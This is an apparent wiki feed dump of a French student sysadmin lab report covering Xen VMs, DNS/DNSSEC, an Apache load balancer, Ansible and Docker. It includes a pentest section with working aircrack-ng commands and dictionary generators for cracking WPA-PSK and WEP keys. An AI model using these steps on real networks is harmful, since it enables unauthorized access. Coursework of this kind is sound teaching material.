  #      state: stopped&lt;br /&gt;
  #      image: image-for-chlamydiae&lt;br /&gt;
  &lt;br /&gt;
  #  - name: Delete container&lt;br /&gt;
  #    docker_container:&lt;br /&gt;
  #      name: container-chlamydiae&lt;br /&gt;
  #      state: absent&lt;br /&gt;
  #      image: image-for-chlamydiae&lt;br /&gt;
  &lt;br /&gt;
  #  - name: Delete the image&lt;br /&gt;
  #    docker_image:&lt;br /&gt;
  #      name: image-for-chlamydiae&lt;br /&gt;
  #      tag: latest&lt;br /&gt;
  #      state: absent&lt;br /&gt;
  #      force: yes&lt;br /&gt;
&lt;br /&gt;
Que l'on lance avec la commande:&lt;br /&gt;
  ansible-playbook file_name.yml&lt;br /&gt;
&lt;br /&gt;
La tâche &amp;quot;Last&amp;quot; qui effectue &amp;quot;docker ps&amp;quot; ne donne pas le résultat escompté: lorsqu'elle se lance le conteneur est encore en création.&lt;br /&gt;
Mais en ce connectant aux machines virtuelles secondaires on remarque que ça fonctionne bien:&lt;br /&gt;
&lt;br /&gt;
====Equilibreur de charge====&lt;br /&gt;
Nous allons dans un premier temps activer les modules nécessaires; pour cela, on saisi les commandes suivantes:&lt;br /&gt;
  a2enmod proxy_http&lt;br /&gt;
  a2enmod proxy (au cas où mais ça s’active en même temps)&lt;br /&gt;
  a2enmod proxy_balancer&lt;br /&gt;
  a2enmod lbmethod_byrequests&lt;br /&gt;
&lt;br /&gt;
Puis on redémarre Apache2:&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
On modifie notre fichier chlamydiae.conf de apache2:&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.180:443&amp;gt;&lt;br /&gt;
                  ServerName www.chlamydiae.site&lt;br /&gt;
                  ServerAlias chlamydiae.site&lt;br /&gt;
                  DocumentRoot /var/www/html/&lt;br /&gt;
                  SSLEngine on&lt;br /&gt;
                  SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt$&lt;br /&gt;
                  SSLCertificateKeyFile /etc/ssl/key/myserver.key&lt;br /&gt;
                  SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA$&lt;br /&gt;
                  SSLVerifyclient NONE&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.180:80&amp;gt;&lt;br /&gt;
          ServerName www.chlamydiae.site&lt;br /&gt;
          ServerAlias chlamydiae.site&lt;br /&gt;
          Redirect / https://www.chlamydiae.site&lt;br /&gt;
          ProxyPass &amp;quot;/&amp;quot; &amp;quot;balancer://ourbalancer/&amp;quot;&lt;br /&gt;
          ProxyPassReverse &amp;quot;/&amp;quot; &amp;quot;balancer://ourbalancer&amp;quot;&lt;br /&gt;
          &amp;lt;Location &amp;quot;/balancer-manager&amp;quot;&amp;gt;&lt;br /&gt;
                  SetHandler balancer-manager&lt;br /&gt;
                  Require host 193.48.57.180&lt;br /&gt;
          &amp;lt;/Location&amp;gt;&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
  &amp;lt;Proxy &amp;quot;balancer://ourbalancer&amp;quot;&amp;gt;&lt;br /&gt;
          BalancerMember http://192.168.0.1:8004&lt;br /&gt;
          BalancerMember http://192.168.0.2:8004&lt;br /&gt;
          BalancerMember http://192.168.0.3:8004&lt;br /&gt;
          BalancerMember http://192.168.0.4:8004&lt;br /&gt;
          BalancerMember http://192.168.0.5:8004&lt;br /&gt;
          BalancerMember http://192.168.0.6:8004&lt;br /&gt;
          ProxySet lbmethod=byrequests&lt;br /&gt;
  &amp;lt;/Proxy&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On transfère le fichier etc/apache2/sites-available/chlamydiae.conf vers etc/apache2/sites-enabled/chlamydiae.conf.&lt;br /&gt;
&lt;br /&gt;
On recharge apache2:&lt;br /&gt;
  service apache2 reload&lt;br /&gt;
 &lt;br /&gt;
Le rapport d'état se trouve à l'URL:&lt;br /&gt;
&lt;br /&gt;
==Tests d’intrusion==&lt;br /&gt;
'''Cassage de mot de passe WPA-PSK par force brute'''&lt;br /&gt;
&lt;br /&gt;
Lors de la 2ème séance:&lt;br /&gt;
&lt;br /&gt;
Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.&lt;br /&gt;
&lt;br /&gt;
D'abord on vérifie que le Wi-Pi est connecté:&lt;br /&gt;
  ls usb&lt;br /&gt;
Ensuite on récupère le nom de notre interface:&lt;br /&gt;
  iwconfig&lt;br /&gt;
On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande&lt;br /&gt;
  airmon-ng start wlx40a5ef0125e9&lt;br /&gt;
On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:&lt;br /&gt;
  airodump-ng wlx40a5ef0125e9&lt;br /&gt;
Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.&lt;br /&gt;
  airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:&lt;br /&gt;
&lt;br /&gt;
Celui en Python s’exécute en 39 s &lt;br /&gt;
  dictfile=open(&amp;quot;dict.txt&amp;quot;,&amp;quot;a&amp;quot;)&lt;br /&gt;
  for i in range(99999999):&lt;br /&gt;
    dictfile.write(str(i)+'\n')&lt;br /&gt;
  dictfile.close()&lt;br /&gt;
&lt;br /&gt;
Celui en C s’exécute en 7 s&lt;br /&gt;
  #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
  int main() {&lt;br /&gt;
    FILE *f;&lt;br /&gt;
    f= fopen(&amp;quot;dictc.txt&amp;quot;, &amp;quot;a&amp;quot;);	&lt;br /&gt;
    for(int i=0;i&amp;lt;=99999999;i++) {&lt;br /&gt;
      fprintf(f, &amp;quot;%08d\n&amp;quot;, i);&lt;br /&gt;
    }&lt;br /&gt;
    fclose(f);&lt;br /&gt;
    return 0;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
On peut alors lancer le cassage à l'aide de:&lt;br /&gt;
  aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wpa-result.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Cassage de clef WEP d’un point d’accès Wifi'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:&lt;br /&gt;
  airodump-ng --encrypt xep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Comme précedémment avec le WPA on peut lancer la commande:&lt;br /&gt;
  airodump-ng -c 2 –-bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:&lt;br /&gt;
  aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:&lt;br /&gt;
  aircrack-ng Wep*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient alors le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wep-result.png|600px|center]]&lt;/div&gt;</summary>
		<author><name>Zbriois</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51827</id>
		<title>TP sysres IMA5sc 2019/2020 G4</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51827"/>
				<updated>2019-12-16T17:43:11Z</updated>
		
		<summary type="html">&lt;p&gt;Zbriois : /* Architecture générale de la ferme */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Installation des systèmes d’exploitation: machine virtuelle Xen==&lt;br /&gt;
'''Lors de la 1ère séance:'''&lt;br /&gt;
&lt;br /&gt;
Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.&lt;br /&gt;
&lt;br /&gt;
Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen.&lt;br /&gt;
On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.&lt;br /&gt;
&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  export http_proxy=http://proxy.polytech.fr:3128&lt;br /&gt;
  xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
Adresse MAC obtenue: 00:16:3E:83:27:97&lt;br /&gt;
&lt;br /&gt;
'''Lors de la 2ème séance:'''&lt;br /&gt;
&lt;br /&gt;
Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance chlamydiae, created&lt;br /&gt;
  # by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.&lt;br /&gt;
  #&lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',&lt;br /&gt;
                ]&lt;br /&gt;
  #    &lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'chlamydiae'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:D0:18:F4' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
==Architecture réseau==&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
On ajoute d'abord le bridge IMA5sc dans l’ensemble de nos VM&lt;br /&gt;
On leur ajoute également les disks: var, home et les 3 crées par l’autre groupe pour le RAID.&lt;br /&gt;
&lt;br /&gt;
On reboot les VM:&lt;br /&gt;
  xl reboot chlamydiae&lt;br /&gt;
ou&lt;br /&gt;
  xl destroy chlamydiae&lt;br /&gt;
  xl create chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
Pour se connecter a une VM:&lt;br /&gt;
  xl console chlamydiae&lt;br /&gt;
&lt;br /&gt;
Pour permettre à la VM d'accéder à internet, on modifie sont etc/network/interfaces:&lt;br /&gt;
  # The primary network interface&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   address 193.48.57.180&lt;br /&gt;
   netmask 255.255.255.240&lt;br /&gt;
&lt;br /&gt;
Puis ifup / ifdown de eth0.&lt;br /&gt;
&lt;br /&gt;
Après l'ajout du gateway, nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :&lt;br /&gt;
  #PermitRootLogin prohibit-password&lt;br /&gt;
par&lt;br /&gt;
  PermitRootLogin yes&lt;br /&gt;
Il faut ensuite rebooter la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
On fait d'abord la demande de certificat sur Gandi.&lt;br /&gt;
&lt;br /&gt;
Ensuite pour la configuration du DNS:&lt;br /&gt;
- on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options&lt;br /&gt;
  dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Sur Chlamydiae on installe bind9: &lt;br /&gt;
&lt;br /&gt;
   apt install bind9 bind9-host dnsutils&lt;br /&gt;
&lt;br /&gt;
Modification de la configuration de bind9 :&lt;br /&gt;
&lt;br /&gt;
On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant : &lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns.chlamydiae.site. root.chlamydiae.site (&lt;br /&gt;
 			3	; Serial&lt;br /&gt;
 			604800	; Refresh&lt;br /&gt;
 			86400	; Retry&lt;br /&gt;
 			2419200	; Expire&lt;br /&gt;
 			604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 	IN	NS	ns.chlamydiae.site.&lt;br /&gt;
 	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @      IN      A       193.48.57.180&lt;br /&gt;
 ns	IN	A	193.48.57.180&lt;br /&gt;
 www	IN	A	193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Faire bien attention à la fin des nameServer sinon bind9 ajoute automatiquement le nom du domaine.&lt;br /&gt;
&lt;br /&gt;
Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;chlamydiae.site&amp;quot; {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/chlamydiae.site&amp;quot;; &lt;br /&gt;
         allow-transfer {217.70.177.40;}; //dns de gandi &lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.&lt;br /&gt;
&lt;br /&gt;
On redémarre bind9 :&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
En cas d'erreur on a accès au log dans /var/log/daemon.log&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net dans l'onglet Glue Records de notre domaine, il faut ajouter: &lt;br /&gt;
  name : ns.chlamydiae.site&lt;br /&gt;
  IP address : 193.48.57.180&lt;br /&gt;
&lt;br /&gt;
C'est l'association du serveur DNS créé avec notre adresse IP:&lt;br /&gt;
&lt;br /&gt;
Changement des nameserver sur gandi.net : &lt;br /&gt;
  DNS 1: ns.chlamydiae.site&lt;br /&gt;
  DNS 2: ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
===Serveur Apache===&lt;br /&gt;
Création du dossier /var/www/www.chlamydiae.pw&lt;br /&gt;
&lt;br /&gt;
*''' Certification SSL :'''&lt;br /&gt;
&lt;br /&gt;
Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :&lt;br /&gt;
   openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr&lt;br /&gt;
&lt;br /&gt;
On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement. &lt;br /&gt;
&lt;br /&gt;
*'''Configuration Apache :'''&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:443&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 DocumentRoot /var/www/html/&lt;br /&gt;
                 CustomLog /var/log/apache2/secure_acces.log combined&lt;br /&gt;
 &lt;br /&gt;
                 SSLEngine on&lt;br /&gt;
                 SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt&lt;br /&gt;
                 SSLCertificateKeyFile /etc/ssl/private/hmyserver.key&lt;br /&gt;
                 SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
                 SSLVerifyClient None&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Redirection automatique du port http vers le port https &lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:80&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 Redirect / https://www.chlamydiae.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
==== DNSSEC ====&lt;br /&gt;
&lt;br /&gt;
Pour ajouter l'extension de sécurité sur notre DNS on l'active dans named.conf.options: &lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
&lt;br /&gt;
Puis, nous créons le répertoire '''chlamydiae.site.dnssec''' dossier où on générera les clés.&lt;br /&gt;
Pour générer les clés  KSK on lance la commande suivante: &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE chlamydiae.site&lt;br /&gt;
Pour générer la clef asymétrique de signature (ZSK) de clefs de zone : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE chlamydiae.site&lt;br /&gt;
On renomme nos clefs avec des noms plus explicite : &lt;br /&gt;
 chlamydiae.site-ksk.key&lt;br /&gt;
 chlamydiae.site-ksk.private&lt;br /&gt;
 chlamydiae.site-zsk.key&lt;br /&gt;
 chlamydiae.site-zsk.private&lt;br /&gt;
&lt;br /&gt;
On inclue alors nos clefs en les ajoutant dans le fichier de zone '''/etc/bind/chlamydiae''' :&lt;br /&gt;
 $include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-ksk.key&lt;br /&gt;
 $include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-zsk.key&lt;br /&gt;
On signe les enregistrements de la zone en exécutant la  commande suivante (dans le répertoire chlamydiae.site-dnssec): &lt;br /&gt;
 dnssec-signzone -o chlamydiae.site -k chlamydiae.site-ksk ../chlamydiae.site chlamydiae.site-zsk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant que notre zone est signé.On  modifie le fichier '''named.conf.local''' pour utiliser le fichier de zone signé : &lt;br /&gt;
 file &amp;quot;/etc/bind/db.hadess.space.signed&amp;quot;;&lt;br /&gt;
On communique à gandi.net la partie publique de nos clés (chlamydiae.site-*.key) dans notre domaine pour l'onglet dnssec ajout external key ( faire attention de sélectionner l'algorithme rsaha1); on le fait pour KSK et ZSK.&lt;br /&gt;
&lt;br /&gt;
Enfin, on relance le service bind : &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs Web==&lt;br /&gt;
====Architecture générale de la ferme====&lt;br /&gt;
On commence par créer une seconde machien virtuelle:&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  # export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  # export https_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  # xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
On peut suivre l'avancement en faisant:&lt;br /&gt;
  tail -f /var/log/xen-tools/private-chlamydiae.log&lt;br /&gt;
&lt;br /&gt;
Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ :&lt;br /&gt;
Pour la première (chlamydiae):&lt;br /&gt;
&lt;br /&gt;
  vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
Pour la seconde:&lt;br /&gt;
  vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On augmente également la mémoire à 512M pour les deux.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans la chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
   address 192.168.0.14         # réseau de communication entre les 2 machines virtuelles&lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Dans private-chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   gateway 192.168.0.14       # réseau de communication entre les 2 machines virtuelles&lt;br /&gt;
   address 192.168.0.4/24&lt;br /&gt;
 &lt;br /&gt;
Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.&lt;br /&gt;
&lt;br /&gt;
Pour faire la mascarade, sur chlamydiae:&lt;br /&gt;
  $ iptables -P FORWARD DROP&lt;br /&gt;
  $ iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24&lt;br /&gt;
  $ iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24&lt;br /&gt;
  $ iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24&lt;br /&gt;
  $ echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour rendre la configuration persistante:&lt;br /&gt;
  $ apt install iptables-persistent &amp;gt; Yes &amp;gt; Yes&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire).&lt;br /&gt;
On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:&lt;br /&gt;
  ---&lt;br /&gt;
  all:&lt;br /&gt;
    hosts:&lt;br /&gt;
      nous:&lt;br /&gt;
        ansible_host: 192.168.0.4&lt;br /&gt;
    children:&lt;br /&gt;
      serveurs-internes:&lt;br /&gt;
        hosts:&lt;br /&gt;
          192.168.0.[1:6]&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On crée notre clé, que l'on propage sur l'ensemble des serveurs private:&lt;br /&gt;
  $ ssh-keygen -t rsa&lt;br /&gt;
  $ cat .ssh/id_rsa.pub | ssh 192.168.0.1 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: serveurs-internes&lt;br /&gt;
    tasks:&lt;br /&gt;
    - name: install lsb-release&lt;br /&gt;
      apt: &lt;br /&gt;
        update_cache=yes&lt;br /&gt;
        state=latest&lt;br /&gt;
        name =  { { item } }&lt;br /&gt;
      with_items:&lt;br /&gt;
      - lsb-release&lt;br /&gt;
    - name: test lsb release&lt;br /&gt;
      shell: 'lsb_release -d'&lt;br /&gt;
      register: ps&lt;br /&gt;
    - debug: var=ps.stdout_lines&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
On lance le playbook:&lt;br /&gt;
  $ ansible-playbook jeu-lsb-release.yml&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:jeu-lsb-release1.png|600px|center]]&lt;br /&gt;
[[Fichier:jeu-lsb-release2.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
===Paramétrage des rôles===&lt;br /&gt;
Crée un dossier roles dans /root &lt;br /&gt;
 mkdir roles &lt;br /&gt;
&lt;br /&gt;
Créer dans le dossier roles un dossier common et un fichier common.yml&lt;br /&gt;
 mkdir common &amp;amp;&amp;amp; vim common.yml &lt;br /&gt;
&lt;br /&gt;
Dans le fichier Common.yml: &lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: nous&lt;br /&gt;
    tasks:&lt;br /&gt;
      - name: include common&lt;br /&gt;
        include_role:&lt;br /&gt;
          name: common&lt;br /&gt;
&lt;br /&gt;
Dans le dossier common on crée deux dossiers, un dossier files contenant les fichiers (.conf, motd, etc.) et un dossier tasks où il y aura nos playbooks.&lt;br /&gt;
&lt;br /&gt;
===== Motd =====&lt;br /&gt;
Dans le dossier tasks on crée un fichier main.yml:&lt;br /&gt;
  - name: Write on motd&lt;br /&gt;
    copy:&lt;br /&gt;
       dest: /etc/motd&lt;br /&gt;
       src: motd&lt;br /&gt;
&lt;br /&gt;
Dans ce fichier on lui dit de copier le fichier motd qu'il cherche arbitrairement dans common/files vers le etc/motd de la machine à qui on applique le rôle.&lt;br /&gt;
Ce fichier motd contiendra notre message.&lt;br /&gt;
&lt;br /&gt;
===== NTP =====&lt;br /&gt;
Pour le serveur de temps dans le fichier main.yml on ajoute: &lt;br /&gt;
  - name: install ntp&lt;br /&gt;
    apt:&lt;br /&gt;
      name: ntp&lt;br /&gt;
  - name: install ntpdate&lt;br /&gt;
    apt:&lt;br /&gt;
      name: ntpdate  &lt;br /&gt;
  - name: Copy over the NTP configuration&lt;br /&gt;
    copy: src=ntp.conf dest=/etc/ntp.conf&lt;br /&gt;
    tags: ntp&lt;br /&gt;
   - name: Stop ntp&lt;br /&gt;
     service: name=ntp state=stopped enabled=yes&lt;br /&gt;
     tags: ntpd                            &lt;br /&gt;
  - name: Sync time initialy&lt;br /&gt;
    shell: ntpdate ntp.polytech-lille.fr&lt;br /&gt;
    tags: ntp&lt;br /&gt;
  - name: Make sure NTP is started up&lt;br /&gt;
    service: name=ntp state=started enabled=yes&lt;br /&gt;
    tags: ntp&lt;br /&gt;
&lt;br /&gt;
Dans le dossier files on crée ntp.conf qui référence notre NTP:&lt;br /&gt;
  server ntp.polytech-lille.fr&lt;br /&gt;
&lt;br /&gt;
====Installation de docker====&lt;br /&gt;
On commence par installer le rôle docker dont on a besoin:&lt;br /&gt;
  ansible-galaxy install geerlingguy.docker (la doc est ici https://github.com/geerlingguy/ansible-role-docker)&lt;br /&gt;
&lt;br /&gt;
Puis on crée notre playbook:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: nous&lt;br /&gt;
    vars:&lt;br /&gt;
      - pip_install_packages:&lt;br /&gt;
        - name: docker&lt;br /&gt;
      - docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian stretch stable&amp;quot;&lt;br /&gt;
    roles:&lt;br /&gt;
      - geerlingguy.pip&lt;br /&gt;
      - geerlingguy.docker&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
Ça fonctionne, on obtient sur la machine principale:&lt;br /&gt;
[[Fichier:result_jeu_docker.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
Sur la machine secondaire, on voit bien que docker a été installé:&lt;br /&gt;
[[Fichier:result-jeu-docker-bis.png|300px|center]]&lt;br /&gt;
&lt;br /&gt;
====Création de votre conteneur====&lt;br /&gt;
On suit ce tutoriel:&lt;br /&gt;
https://medium.com/@vi1996ash/steps-to-build-apache-web-server-docker-image-1a2f21504a8e&lt;br /&gt;
&lt;br /&gt;
Pour tester la partie docker indépendamment, sur la machine secondaire:&lt;br /&gt;
:- on crée notre index.html (basique)&lt;br /&gt;
:- on crée notre dockerfile:&lt;br /&gt;
  FROM centos:latest&lt;br /&gt;
  MAINTAINER NewstarCorporation&lt;br /&gt;
  RUN yum -y install httpd&lt;br /&gt;
  COPY index.html /var/www/html/&lt;br /&gt;
  CMD [“/usr/sbin/httpd”, “-D”, “FOREGROUND”]&lt;br /&gt;
  EXPOSE 80&lt;br /&gt;
&lt;br /&gt;
On crée l'image:&lt;br /&gt;
  docker build DockerFiles/ -t webserver:v1&lt;br /&gt;
&lt;br /&gt;
[[Fichier:result-httpd.png|400px|center]]&lt;br /&gt;
&lt;br /&gt;
Puis on la run:&lt;br /&gt;
  docker run -dit -p 1234:80 webserver:v1&lt;br /&gt;
&lt;br /&gt;
====Configuration de vos serveurs internes====&lt;br /&gt;
&lt;br /&gt;
Maintenant il faut déployer le docker depuis la machine principale sur la machine secondaire en utilisant ansible, on crée le fichier Yaml:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: serveurs-internes&lt;br /&gt;
    tasks:&lt;br /&gt;
    - name: install rsync&lt;br /&gt;
      apt:&lt;br /&gt;
        state: latest&lt;br /&gt;
        name: 'rsync'&lt;br /&gt;
  &lt;br /&gt;
    - name: transfer files&lt;br /&gt;
      copy:&lt;br /&gt;
        src: DockerFiles&lt;br /&gt;
